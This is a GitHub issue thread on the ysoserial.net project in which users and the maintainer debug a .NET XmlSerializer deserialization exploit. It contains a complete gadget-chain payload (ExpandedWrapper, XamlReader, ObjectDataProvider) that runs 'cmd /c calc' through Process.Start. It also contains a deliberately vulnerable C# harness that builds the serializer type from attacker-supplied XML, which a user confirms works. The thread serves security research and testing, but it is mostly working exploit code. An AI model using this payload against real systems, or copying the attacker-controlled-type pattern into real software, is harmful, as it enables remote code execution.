pwntester / ysoserial.net

Deserialization payload generator for a variety of .NET formatters
MIT License
3.24k stars 474 forks source link

XmlSerializer with typeof #24

Closed vah13 closed 5 years ago

vah13 commented 5 years ago

Hi there, I have this .NET code

XmlSerializer xmlSerializer = new XmlSerializer(typeof(String), "http://web.com/a");
            XmlTextReader xmlReader = new XmlTextReader(stream)
            {
                WhitespaceHandling = WhitespaceHandling.None
            };
            String s = xmlSerializer.Deserialize(xmlReader) as String;

I generated this XML PoC

<?xml version="1.0"?>
<root xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" type="System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
    <ExpandedWrapperOfXamlReaderObjectDataProvider>
        <ExpandedElement/>
        <ProjectedProperty0>
            <MethodName>Parse</MethodName>
            <MethodParameters>
                <anyType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:string">
                    &lt;ResourceDictionary xmlns=&quot;http://schemas.microsoft.com/winfx/2006/xaml/presentation&quot; xmlns:x=&quot;http://schemas.microsoft.com/winfx/2006/xaml&quot; xmlns:System=&quot;clr-namespace:System;assembly=mscorlib&quot; xmlns:Diag=&quot;clr-namespace:System.Diagnostics;assembly=system&quot;&gt;
                        &lt;ObjectDataProvider x:Key=&quot;LaunchCmd&quot; ObjectType=&quot;{x:Type Diag:Process}&quot; MethodName=&quot;Start&quot;&gt;
                            &lt;ObjectDataProvider.MethodParameters&gt;
                                &lt;System:String&gt;cmd&lt;/System:String&gt;
                                &lt;System:String&gt;/c calc&lt;/System:String&gt;
                            &lt;/ObjectDataProvider.MethodParameters&gt;
                        &lt;/ObjectDataProvider&gt;
                    &lt;/ResourceDictionary&gt;
                </anyType>
            </MethodParameters>
            <ObjectInstance xsi:type="XamlReader"></ObjectInstance>
        </ProjectedProperty0>
    </ExpandedWrapperOfXamlReaderObjectDataProvider>
</root>

during deserialization I'm getting this error

Unhandled Exception: System.InvalidOperationException: There is an error in XML document (2, 2). ---> System.InvalidOperationException: <root xmlns=''> was not expected.
   at Microsoft.Xml.Serialization.GeneratedAssembly.XmlSerializationReaderString.Read1_string()
   --- End of inner exception stack trace ---
   at System.Xml.Serialization.XmlSerializer.Deserialize(XmlReader xmlReader, String encodingStyle, XmlDeserializationEvents events)
   at System.Xml.Serialization.XmlSerializer.Deserialize(XmlReader xmlReader)
   at ysoserial.Program.Main(String[] args) in C:\Users\vava\Desktop\hacktools\ysoserial.net-master\ysoserial\Program.cs:line 27

could you help me, how can I fix it? why am I getting this error?

pwntester commented 5 years ago

Hi,

For XmlSerializer to be vulnerable, attacker needs to be able to control expected type:

XmlSerializer xmlSerializer = new XmlSerializer(<attacker controllable>, "http://web.com/a");

Cheers, A

adon90 commented 5 years ago

Hey, I am doing tests with Visual Studio and I haven't managed to create a vulnerable XmlSerializer code from scratch, please, send me a simple vulnerable project or point me in the right direction, the one I am using is this one:

using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Xml.Serialization;

namespace WindowsFormsApplication3

{
    [XmlRoot]
    public class TestClass
    {
        public string classname;
        private string name;
        private int age;
        [XmlAttribute]
        public string Classname { get { return classname; } set { classname = value; } }
        [XmlElement]
        public string Name { get { return name; } set { name = value; } }
        [XmlElement]
        public int Age { get { return age; } set { age = value; } }
        public override string ToString()
        {
            return base.ToString();
        }

    }

    class Program
    {
        static void Main(string[] args)
        {
            TestClass testClass = new TestClass();

            using (var stream = new FileStream(@"d:\1.xml", FileMode.Open))
            {

                var serializers = new XmlSerializer(typeof(TestClass));
                testClass = serializers.Deserialize(stream) as TestClass;

            }
            MessageBox.Show(testClass.Name);

        }
    }
} 

But I think that class doesn't meet the conditions, I would appreciate some help, thanks

adon90 commented 5 years ago

This is the payload I am using:

<?xml version="1.0" encoding="utf-8"?>
<ExpandedWrapperOfTestClassObjetDataProvider xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<ProjectedProperty0> 
<ObjectInstance xsi:type="TestClass">
<Age>0</Age> 
<MethodName><ClassMethod</MethodName>
<MethodParameters>
<anyType xsi:type="xsd:string">calc.exe</anyType>
</MethodParameters>
<ProjectedProperty0>
</ExpandedWrapperOfTestClassObjetDataProvider>
pwntester commented 5 years ago

Check slide 47 here: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf

Attacker needs to be able to control expected type as DNN was doing here: https://github.com/dnnsoftware/Dnn.Platform/blob/a142594a0c18a589cb5fb913a022eebe34549a8f/DNN%20Platform/Library/Common/Utilities/XmlUtils.cs#L201

adon90 commented 5 years ago

Hello Alvaro, thank you very much, but, if that's not too much to ask for, could you please provide me a complete code I can just use straightforward not parts of code? Thanks

adon90 commented 5 years ago

This is my code now, if you tell me how to set the "miau.xml" payload up based on the code to test a command execution, would be epic. Thanks!!!

using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Xml;
using System.Xml.Serialization;

namespace WindowsFormsApplication3

{

    class Program
    {
        static void Main(string[] args)
        {

            var xmlDoc = new XmlDocument();

            xmlDoc.LoadXml("miau.xml");

            foreach (XmlElement xmlItem in xmlDoc.SelectNodes("/item")) {

                string typeName = xmlItem.GetAttribute("type");
                var xser = new XmlSerializer(Type.GetType(typeName));

            }

        }
    }
}
pwntester commented 5 years ago

Just make the argument to XmlSerializer to take a type derived from a string controlled by the attacker. Check the new RCE found on Sharepoint for another example:

https://www.thezdi.com/blog/2019/3/13/cve-2019-0604-details-of-a-microsoft-sharepoint-rce-vulnerability

pwntester commented 5 years ago

Havent tried it but should be something like:

namespace WindowsFormsApplication3

{

    class Program
    {
        static void Main(string[] args)
        {

            var xmlDoc = new XmlDocument();

            xmlDoc.LoadXml("miau.xml");

            foreach (XmlElement xmlItem in xmlDoc.SelectNodes("/root")) {

                string typeName = xmlItem.GetAttribute("type");
                var xser = new XmlSerializer(Type.GetType(typeName));

                var reader = new XmlTextReader(new StringReader(xmlItem.InnerXml));
                xser.Deserialize(reader);
            }

        }
    }
}

And then miau.xml should be the one you generated:

<?xml version="1.0"?>
<root xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" type="System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
    <ExpandedWrapperOfXamlReaderObjectDataProvider>
        <ExpandedElement/>
        <ProjectedProperty0>
            <MethodName>Parse</MethodName>
            <MethodParameters>
                <anyType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:string">
                    &lt;ResourceDictionary xmlns=&quot;http://schemas.microsoft.com/winfx/2006/xaml/presentation&quot; xmlns:x=&quot;http://schemas.microsoft.com/winfx/2006/xaml&quot; xmlns:System=&quot;clr-namespace:System;assembly=mscorlib&quot; xmlns:Diag=&quot;clr-namespace:System.Diagnostics;assembly=system&quot;&gt;
                        &lt;ObjectDataProvider x:Key=&quot;LaunchCmd&quot; ObjectType=&quot;{x:Type Diag:Process}&quot; MethodName=&quot;Start&quot;&gt;
                            &lt;ObjectDataProvider.MethodParameters&gt;
                                &lt;System:String&gt;cmd&lt;/System:String&gt;
                                &lt;System:String&gt;/c calc&lt;/System:String&gt;
                            &lt;/ObjectDataProvider.MethodParameters&gt;
                        &lt;/ObjectDataProvider&gt;
                    &lt;/ResourceDictionary&gt;
                </anyType>
            </MethodParameters>
            <ObjectInstance xsi:type="XamlReader"></ObjectInstance>
        </ProjectedProperty0>
    </ExpandedWrapperOfXamlReaderObjectDataProvider>
</root>
adon90 commented 5 years ago

Muchas gracias Alvaro por ese codigo de verdad que me ha costado bastante encontrar una PoC así y que funcione bien sin necesitar 1000 clases y mierdas asi que te lo agradezco, el codigo definitivo con los imports y un pequeño fallo que tenia al cargar el XML es este:

using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Xml;
using System.Xml.Serialization;

namespace XMLDoc
{

    class Program
    {
        static void Main(string[] args)
        {

            var xmlDoc = new XmlDocument();

            xmlDoc.Load(@"d:\miau.xml");

            foreach (XmlElement xmlItem in xmlDoc.SelectNodes("/root"))
            {

                string typeName = xmlItem.GetAttribute("type");
                Console.WriteLine(typeName);

                var xser = new XmlSerializer(Type.GetType(typeName));

                var reader = new XmlTextReader(new StringReader(xmlItem.InnerXml));
                xser.Deserialize(reader);
            }

        }
    }
}

;)!